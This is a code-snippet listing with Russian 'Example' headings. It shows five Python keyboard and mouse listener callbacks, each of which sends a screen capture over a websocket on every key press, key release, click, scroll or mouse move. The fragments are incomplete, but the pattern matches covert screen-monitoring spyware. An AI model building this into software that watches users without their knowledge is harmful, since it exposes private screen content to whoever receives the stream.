Пример #1
0
 def on_release(key):
     ws.send(ct.screen_capture())
Пример #2
0
 def on_press(key):
     try:
         ws.send(ct.screen_capture())
     except AttributeError:
         print('special key {0} pressed'.format(key))
Пример #3
0
 def on_click(x, y, button, pressed):
     ws.send(ct.screen_capture())
Пример #4
0
 def on_scroll(x, y, dx, dy):
     ws.send(ct.screen_capture())
Пример #5
0
 def on_move(x, y):
     ws.send(ct.screen_capture())